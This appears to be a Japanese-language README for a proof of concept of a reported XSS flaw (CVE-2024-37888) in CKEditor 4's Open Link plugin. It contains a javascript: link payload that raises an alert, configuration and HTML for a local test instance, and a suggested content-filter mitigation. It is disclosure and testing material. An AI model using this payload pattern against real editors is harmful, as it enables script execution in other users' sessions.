
CKEditor 4 の Open Link プラグイン向け XSS PoC/Exploit
このリポジトリは、自身が発見し報告したCVE-2024-37888の脆弱性の詳細とエクスプロイトを文書化しています。
この Proof of Concept (POC) は、私が最近発見したOpen LinkプラグインのXSS脆弱性の悪用を示しています。このプラグインが有効になると、CKEditor 4のすべてのバージョンに直接影響を及ぼします。この欠陥により、プラグインがサニタイズに失敗するエディタ内の細工されたリンクを通じてJavaScriptが実行される可能性があります。この欠陥は、Open Linkプラグインがインストールされている場合にのみテキスト領域内で悪用される可能性があります。Open Linkプラグインを使用すると、編集領域内でリンクを直接開くことができます。
この脆弱性は、こちらにある事前設定済みのCKEditorインスタンスからテストできます。
ペイロードの挿入:
CKEditorインスタンスを開き、「Source」アイコンをクリックします。
テキストエリアに以下のペイロードを挿入します:
<a href="javascript:alert('XSS Found')">XSS</a>

WYSIWYGモードに切り替え:

XSSをトリガー:

以下の手順に従って、独自のローカルインスタンスをセットアップし、この脆弱性をテストできます。
CKEditor 4のダウンロード:

Open Linkプラグインのインストール:
ckeditor/plugins/openlinkディレクトリに配置します。
OpenLinkプラグインを含めるように設定を更新:
config.jsファイルを編集し、以下の行を末尾に追加します:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js:CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
この脆弱性は、Open Linkプラグインのコードベースで発見されたものであり、CKEditor 4のコードベースではありません。上記のPOCは、CKEditor 4.*.*のOpen Linkプラグインを介したXSS脆弱性の悪用を示しています。この欠陥により、特別に細工されたリンクを通じて任意のJavaScriptが実行され、重大なセキュリティリスクをもたらします。
config.disallowedContent = 'a[onclick]';
HTMLにCKEditorを含める:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>
